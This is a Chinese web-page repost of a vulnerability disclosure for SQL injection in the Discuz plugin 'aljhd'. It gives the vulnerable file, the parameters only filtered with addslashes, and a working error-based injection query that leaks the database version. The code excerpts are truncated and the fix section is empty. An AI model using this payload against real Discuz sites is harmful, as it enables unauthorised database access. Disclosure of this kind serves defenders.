最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
Discuz某插件sql注射漏洞
时间:2022-06-25 16:27:52 编辑:袖梨 来源:一聚教程网
Author:Saline
Email:[email protected]
文件source/plugin/aljhd/aljhd.inc.php122行附近
代码如下 | 复制代码 |
}else{ |
然后其中的fetch_all_by_ym fetch_all_by_type fetch_all_by_ym_type_status count_by_ym_type_status几个函数在
文件source/plugin/aljhd/table/table_alj_hd.php中找到了
代码如下 | 复制代码 |
class table_alj_hd extends discuz_table |
发现对其中的ym仅仅是做了addslashes处理,我们知道的addslashes编码仅仅是在gbk下才有作用,所有整个显得鸡肋
代码如下 | 复制代码 |
select count(*) from alj_hd where 1 and ym=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) and type=1 |
测试
word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-">可注入参数imes,ljtype,m,orderby,page,telid
贴一个ljtype的
随便找一个
POST测试一下
修复方案:
=-=~好多站都关了这个插件。。。
相关文章
- 战灵五条悟怎么玩 五条悟玩法教学 08-15
- 问鼎三国主公战力怎么提升 主公战力提升方法 08-15
- 白银之城萌新怎么配队 萌新队伍搭配推荐 08-15
- dnf手游暗影昼猫在哪里-暗影昼猫npc位置分享 08-15
- 千年之旅队伍怎么搭配 队伍搭配攻略 08-15
- 千年之旅哪些角色比较强 强力角色推荐一览 08-15